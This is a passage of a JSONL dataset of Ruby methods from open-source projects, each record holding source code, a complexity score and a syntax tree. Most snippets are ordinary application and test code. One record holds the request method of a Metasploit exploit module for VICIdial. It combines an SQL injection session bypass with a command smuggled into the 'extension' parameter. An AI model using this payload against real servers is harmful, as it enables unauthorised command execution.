sentence.\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"id\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_instructions\"]},{\"type\":\"send\",\"children\":[null,\"custom_locale_instructions\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"force_default_locale\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"structured_output\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"buffer_blk\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partial\"]},{\"type\":\"arg\",\"children\":[\"_\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"structured_output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"structured_output\",{\"type\":\"lvar\",\"children\":[\"partial\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bot\"]},\"persona\"]},\"response_format\"]},\"first\"]},\"to_h\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bot\"]},\"reply\",{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"llm_args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_tokens\"]},{\"type\":\"int\",\"children\":[1024]}]}]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer_blk\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_caption\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"structured_output\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_summary_schema_key\",{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bot\"]},\"persona\"]},\"response_format\"]},\"first\"]},\"to_h\"]}]},{\"type\":\"lvasgn\",\"children\":[\"raw_caption\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"structured_output\"]},\"read_buffered_property\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"json_summary_schema_key\"]},\"[]\",{\"type\":\"str\",\"children\":[\"key\"]}]},\"to_sym\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_caption\"]},\"delete\",{\"type\":\"str\",\"children\":[\"|\"]}]},\"squish\"]},\"truncate_words\",{\"type\":\"const\",\"children\":[null,\"IMAGE_CAPTION_MAX_WORDS\"]}]}]}]}","id":"ae211273-df20-4f80-b687-8f9140088d07"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/sort_by.rb","start_line":91,"raw_source":"def update_sorting_mode(mode)\n        if mode === \"manual\"\n          choose(\"sorting_mode_switch\", option: \"manual\")\n        else\n          choose(\"sorting_mode_switch\", option: \"automatic\")\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_sorting_mode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mode\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mode\"]},\"===\",{\"type\":\"str\",\"children\":[\"manual\"]}]},{\"type\":\"send\",\"children\":[null,\"choose\",{\"type\":\"str\",\"children\":[\"sorting_mode_switch\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"option\"]},{\"type\":\"str\",\"children\":[\"manual\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"choose\",{\"type\":\"str\",\"children\":[\"sorting_mode_switch\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"option\"]},{\"type\":\"str\",\"children\":[\"automatic\"]}]}]}]}]}]}","id":"a405e4d2-1090-49c8-9dc9-0b82017f86a9"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/concerns/reminders/service_helpers.rb","start_line":35,"raw_source":"def reschedule_reminder(reminder)\n      destroy_scheduled_reminder_job(reminder)\n      mark_unread_notifications_as_read_for(reminder)\n      schedule_new_reminder_job(reminder)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"reschedule_reminder\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reminder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy_scheduled_reminder_job\",{\"type\":\"lvar\",\"children\":[\"reminder\"]}]},{\"type\":\"send\",\"children\":[null,\"mark_unread_notifications_as_read_for\",{\"type\":\"lvar\",\"children\":[\"reminder\"]}]},{\"type\":\"send\",\"children\":[null,\"schedule_new_reminder_job\",{\"type\":\"lvar\",\"children\":[\"reminder\"]}]}]}]}","id":"e0ff40d2-2cc0-4768-84c7-f01c183d579b"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/webhook_policy.rb","start_line":24,"raw_source":"def disable?\n    role.can?(:manage_webhooks)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_webhooks\"]}]}]}","id":"c45e592c-f63e-490c-9b3c-7c0d896a0b90"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/vicidial_manager_send_cmd_exec.rb","start_line":131,"raw_source":"def request(cmd, timeout = 20)\n    begin\n      res = send_request_cgi({\n        'uri' => '/agc/manager_send.php',\n        'method' => 'GET',\n        'vars_get' => {\n          \"enable_sipsak_messages\" => \"1\",\n          \"allow_sipsak_messages\" => \"1\",\n          \"protocol\" => \"sip\",\n          \"ACTION\" => \"OriginateVDRelogin\",\n          \"session_name\" => rand_text_alpha(12), # Random session name\n          \"server_ip\" => \"' OR '1' = '1\", # SQL Injection to validate the session\n          \"extension\" => \";#{cmd};\",\n          \"user\" => datastore['USERNAME'],\n          \"pass\" => datastore['PASSWORD']\n        }\n      }, timeout)\n    rescue ::Rex::ConnectionError\n      vprint_error(\"#{rhost}:#{rport} - Failed to connect to the web server\")\n      return nil\n    end\n\n    return res\n  end","complexity_score":15.43,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"timeout\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/agc/manager_send.php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"enable_sipsak_messages\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"allow_sipsak_messages\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"protocol\"]},{\"type\":\"str\",\"children\":[\"sip\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ACTION\"]},{\"type\":\"str\",\"children\":[\"OriginateVDRelogin\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"session_name\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[12]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"server_ip\"]},{\"type\":\"str\",\"children\":[\"' OR '1' = '1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"extension\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to connect to the web server\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"32473bd8-17ad-4cfa-9fd9-7c9451c8d728"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/client.rb","start_line":161,"raw_source":"def on_message(data)\n        if response = @responses.delete(data['id'])\n          response.set(data)\n        else\n          @log.warn(\"Receiving missing id data: #{data}\")\n        end\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@responses\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"set\",{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Receiving missing id data: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}]}]}","id":"b6050847-6234-41ee-ad96-168e1f413dbd"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/composer_messages_finder.rb","start_line":101,"raw_source":"def check_get_a_room(min_users_posted: 5)\n    return unless @user.guardian.can_send_private_messages?\n    return unless educate_reply?(:notified_about_get_a_room)\n    return if @details[:post_id].blank?\n    return if @topic.category&.read_restricted\n\n    reply_to_user_id = Post.where(id: @details[:post_id]).pluck(:user_id)[0]\n\n    # Users's last x posts in the topic\n    last_x_replies =\n      @topic\n        .posts\n        .where(user_id: @user.id)\n        .order(\"created_at desc\")\n        .limit(SiteSetting.get_a_room_threshold)\n        .pluck(:reply_to_user_id)\n        .find_all { |uid| uid != @user.id && uid == reply_to_user_id }\n\n    return if last_x_replies.size != SiteSetting.get_a_room_threshold\n    return if @topic.posts.count(\"distinct user_id\") < min_users_posted\n\n    UserHistory.create!(\n      action: UserHistory.actions[:notified_about_get_a_room],\n      target_user_id: @user.id,\n      topic_id: @details[:topic_id],\n    )\n\n    reply_username = User.where(id: last_x_replies[0]).pick(:username)\n\n    {\n      id: \"get_a_room\",\n      templateName: \"get-a-room\",\n      wait_for_typing: true,\n      reply_username: reply_username,\n      extraClass: \"education-message get-a-room\",\n      body:\n        PrettyText.cook(\n          I18n.t(\n            \"education.get_a_room\",\n            count: SiteSetting.get_a_room_threshold,\n            reply_username: reply_username,\n            base_path: Discourse.base_path,\n          ),\n        ),\n    }\n  end","complexity_score":62.25,"ast_json":"{\"type\":\"def\",\"children\":[\"check_get_a_room\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"min_users_posted\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"guardian\"]},\"can_send_private_messages?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"educate_reply?\",{\"type\":\"sym\",\"children\":[\"notified_about_get_a_room\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"category\"]},\"read_restricted\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"reply_to_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_x_replies\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"posts\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]},\"order\",{\"type\":\"str\",\"children\":[\"created_at desc\"]}]},\"limit\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"get_a_room_threshold\"]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"reply_to_user_id\"]}]},\"find_all\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uid\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"reply_to_user_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_x_replies\"]},\"size\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"get_a_room_threshold\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@topic\"]},\"posts\"]},\"count\",{\"type\":\"str\",\"children\":[\"distinct user_id\"]}]},\"<\",{\"type\":\"lvar\",\"children\":[\"min_users_posted\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notified_about_get_a_room\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reply_username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_x_replies\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]},\"pick\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"get_a_room\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"templateName\"]},{\"type\":\"str\",\"children\":[\"get-a-room\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait_for_typing\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply_username\"]},{\"type\":\"lvar\",\"children\":[\"reply_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extraClass\"]},{\"type\":\"str\",\"children\":[\"education-message get-a-room\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PrettyText\"]},\"cook\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"education.get_a_room\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"get_a_room_threshold\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply_username\"]},{\"type\":\"lvar\",\"children\":[\"reply_username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]}]}]}]}]}]}]}]}","id":"1413c4a3-3b32-44ca-969d-3624293435d3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/dev_caching.rb","start_line":24,"raw_source":"def enable_by_argument(caching)\n        FileUtils.mkdir_p(\"tmp\")\n\n        if caching\n          create_cache_file\n        elsif caching == false && File.exist?(FILE)\n          delete_cache_file\n        end\n      end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_by_argument\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"caching\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"mkdir_p\",{\"type\":\"str\",\"children\":[\"tmp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caching\"]},{\"type\":\"send\",\"children\":[null,\"create_cache_file\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caching\"]},\"==\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"const\",\"children\":[null,\"FILE\"]}]}]},{\"type\":\"send\",\"children\":[null,\"delete_cache_file\"]},null]}]}]}]}","id":"01dde1e9-f102-4433-a724-7eef1fe9475a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/sorting_helper.rb","start_line":251,"raw_source":"def sort_direction_button(reverse_url, reverse_sort, sort_value)\n    link_class = 'has-tooltip reverse-sort-btn rspec-reverse-sort'\n    icon = sort_direction_icon(sort_value)\n    url = reverse_url\n\n    unless reverse_sort\n      url = '#'\n      link_class += ' disabled'\n    end\n\n    link_button_to nil, url, class: link_class, title: s_('SortOptions|Sort direction'), icon: icon\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"sort_direction_button\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reverse_url\"]},{\"type\":\"arg\",\"children\":[\"reverse_sort\"]},{\"type\":\"arg\",\"children\":[\"sort_value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link_class\",{\"type\":\"str\",\"children\":[\"has-tooltip reverse-sort-btn rspec-reverse-sort\"]}]},{\"type\":\"lvasgn\",\"children\":[\"icon\",{\"type\":\"send\",\"children\":[null,\"sort_direction_icon\",{\"type\":\"lvar\",\"children\":[\"sort_value\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"lvar\",\"children\":[\"reverse_url\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reverse_sort\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"str\",\"children\":[\"#\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link_class\"]},\"+\",{\"type\":\"str\",\"children\":[\" disabled\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"link_button_to\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"link_class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"SortOptions|Sort direction\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"lvar\",\"children\":[\"icon\"]}]}]}]}]}]}","id":"8f9c2596-147e-4790-a49f-65661f871e2e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/snapshot/spec/commands_generator_spec.rb","start_line":67,"raw_source":"def allow_path_check\n      allow(Snapshot::DetectValues).to receive(:set_additional_default_values)\n      allow(Dir).to receive(:exist?).with('data/path').and_return(false)\n      allow(Snapshot::UI).to receive(:important)\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allow_path_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snapshot\"]},\"DetectValues\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"set_additional_default_values\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[null,\"Dir\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"exist?\"]}]},\"with\",{\"type\":\"str\",\"children\":[\"data/path\"]}]},\"and_return\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Snapshot\"]},\"UI\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"important\"]}]}]}]}]}","id":"16fef7ed-0f73-44a8-88c0-5b1ab88d3d73"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/lib/html_prettify_spec.rb","start_line":6,"raw_source":"def t(source, expected)\n    expect(HtmlPrettify.render(source)).to eq(expected)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"t\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"arg\",\"children\":[\"expected\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HtmlPrettify\"]},\"render\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]}]}","id":"9bf9ede4-cdea-4ea6-b895-89e0ffe332c4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/support/custom_field_filter.rb","start_line":37,"raw_source":"def filter_class_name_string(custom_field)\n      id = custom_field.is_a?(ActiveRecord::Base) ? custom_field.id : custom_field\n\n      \"CostQuery::Filter::CustomField#{id}\"\n    end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_class_name_string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_field\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"custom_field\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CostQuery::Filter::CustomField\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}","id":"1ae99576-eb52-494b-8751-744fb69965ff"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/unfollow_service.rb","start_line":45,"raw_source":"def undo_follow_request!\n    follow_request = FollowRequest.find_by(account: @source_account, target_account: @target_account)\n\n    return unless follow_request\n\n    follow_request.destroy!\n\n    create_notification(follow_request) unless @target_account.local?\n\n    follow_request\n  